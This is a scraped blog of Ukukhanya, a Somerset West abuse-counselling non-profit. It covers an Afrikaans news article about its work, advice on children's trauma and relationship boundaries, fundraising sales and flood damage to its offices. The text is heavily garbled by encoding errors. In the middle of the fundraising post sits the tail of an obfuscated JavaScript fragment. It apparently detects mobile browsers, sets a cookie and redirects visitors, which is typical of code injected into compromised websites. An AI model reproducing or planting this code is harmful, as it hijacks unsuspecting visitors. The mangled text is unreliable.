Volunteer at Ukukhanya

This morning Ukukhanya opened its doors to 2014. Ai??We are looking forward to another year in which we are able to support, assist and change the lives of the people who have suffered from abuse in the Helderberg region. Ai??We are all extremely positive that 2014 will be a year of exciting progress and growth.

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PROFESSIONELE HULP VIR MISHANDELDES

Die mannekrag waar professionele mense teen mishandeling in die Helderberg saamwerk, is te min. Daar is ai??i??n oorlading van gevalle en ai??i??n tekort aan opgeleide mense wat terapie kan gee en berading kan doen.

SA? meen Hilda Lourens, besturende direkteur van Ukukhanya, ai??i??n nie-winsgewende organisasie wat hom beywer vir die regte van slagoffers van mishandeling in die Helderberg. Die 16 dae van aktivisme teen geweld teen vroue en kinders wat jaarliks herdenk word, het die afgelope Maandag begin. Die veldtog wil die impak wat mishandeling op die gemeenskap het, uitlig.

Lourens sA? Ukukhanya werk met hoAi??risiko gesinne en die hooffokus is om gesinne wat deur geweld geraak word deur berading, terapie en ondersteuningsgroepe by te staan. Werk word gedoen met die hele gesin asook met die slagoffer en die oortreder.

Sy voeg by dat daar baie suksesstories is, maar dat inligting ten opsigte daarvan sensitief is ten einde die betrokke persone se identiteit te beskerm.

ai???Van die gevalle wat egter die meeste uitstaan is die gevalle waar die mans nA? die tyd terugkom na ons en ons bedank vir die bydrae wat ons gemaak het dat hul gesinne weer normaal kan funksioneer.ai???

Ukukhanya bied ook gereeld werksessies asook bewusmaking oor mishandeling aan omdat hulle glo die gemeenskap het sulke inligtingsessies broodnodig.

Ukukhanya is geleAi?? in Michaelai??i??s Arkade, Caledonstraat, Somerset-Wes. Bel hulle by 021 850 0061 of e-pos ukukhanya.reception@gmail.com vir meer inligting.

By Illana Frantz
2013-11-28 00:00
This article was published by the District Mail, click here for the original article.

Parental responsibilities and right – No 38 of 2005 Children’s Act, 2005

PARENTAL RESPONSIBILITIES AND RIGHTS

Part I

Acquisition and loss of parental responsibilities and rights

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Ukukhanya – Signs of Trauma in Children

Signs of Trauma in Children

Are you concerned that your child is reacting to trauma in some way? Ai??Here is a list of some of the typical reactions of children exposed to stress and trauma. Ai??Ukukhanya offers free counselling and play therapy to children, and parents, to assist with overcoming trauma. Ai??You can find Ukukhanya in Michaels Arcade in Somerset West, 021 850 0061.

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Boundaries

Setting Boundaries

Everywhere we look there are boundaries. We have them around our homes (fences), our workplace (policies and rules) the road (traffic act) and we need to keep to this otherwise there could be consequences for us. Why then is it so difficult to have boundaries in our relationships.

Between two partners there need to be certain boundaries. One such a boundary between me and my husband is that we need to inform each other if we are going to be late returning home from somewhere else. This is for safety reasons. As you could see, boundaries should be reasonable and also have got good solid reasons which both partners are happy with. Some of these boundaries can be no shouting, no swearing, no physical harm etc. In severe cases it may even be no contact. Sometimes it is difficult for two people to agree to some of these boundaries and then they need the help of the court in setting these boundaries by taking out a Protection Order against their partner. Ai??By taking out a protection order it will most likely mean that one of the parties would not be happy with this protection order and the conditions contained in this. That is why it is so important to set these boundaries early in the relationship even before it becomes a problem.

With our kids we also need to set boundaries from birth. Do not think you will set these boundaries when they are older and understand better. No by that time it should be part of their and your life. Be firm in setting these boundaries and do not move them around because that will cause unnecessary problems in your relationships. You cannot expect a 4year old for instance to understand why mommy/daddy allows him to have a cool drink with his meals the one day and the next he is not allowed to have any. You have got to put the rules down and then stick to it yourself. You cannot tell a 4 year old not to have something to drink with a meal and then do the exact thing you do not want him to do..

By setting down boundaries in a child’s life they will be so much better in putting boundaries down in their own life when needed. It can stop so much unnessacary heartache for them and you as the parent.

If I expect my husband to let me know he is going to be late I have to do the same when I am going to be late. Boundaries/rules are there for both parties. This will stop unnecessary heartache and disagreements later in your life.

Remember boundaries should always be reasonable and have solid reasons and be acceptable to both parties.

Hilda Lourens, CEO, Ukukhanya

Wednesday 04 December – Fundraising cake and clothing sale

Every 2 weeks we raise money by having a cake and second hand clothing sale. Ai??Our next sale is on the 4 December. Ai??We will have some lovely home baked goods as well as a large range of second hand clothing and shoes.

Yummy home made cakes on sale

Yummy home made cakes on sale

The clothing has been donated by kind souls from all over the Helderberg. Ai??Since summer seems to have arrived we ask that any clothes that no longer fit (come on, you know you have them!) or that are not this season’s fashion can be brought down to the Ukukhanya office any day.

Second Hand clothing for sale - R5-10 per item.

Second Hand clothing for sale – R5-10 per item.

We are also busy collecting for a household goods sale. Ai??So please bring all those kitchen gadgets that you have forgotten in the back of your cupboards! Ai??Slicers, dicersai??i?? all those Braai tongs you got three christmas’s agoai??i?? Ai??There are many people out there who would be very happy to buy these items and this helps Ukukhanya continue to offer our free counselling services to the community. 00|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Helderberg Floods affect Ukukhanya

The recent flooding in Somerset West has left the offices of Ukukhanya very wet. Ai??Although we managed to get the worst of the water up the problem is that the foundations of the building are soaked and water continues to seep up through the concrete. Ai??It is very damp and smelly. Ai??We are hoping that that landlord’s insurance will replace the carpets, but much of our office furniture is ruined. Ai??The Helderberg Floods have subsided, but there is still a lot of cleaning up to do.

If anyone can assist us with donations we would sincerely appreciate it.

We are also looking for someone who is handy with wood to repair our dollhouse in the children’s play-therapy room.

Dolls house in the play therapy room at Ukukhanya

Dolls house in the play therapy room at Ukukhanya

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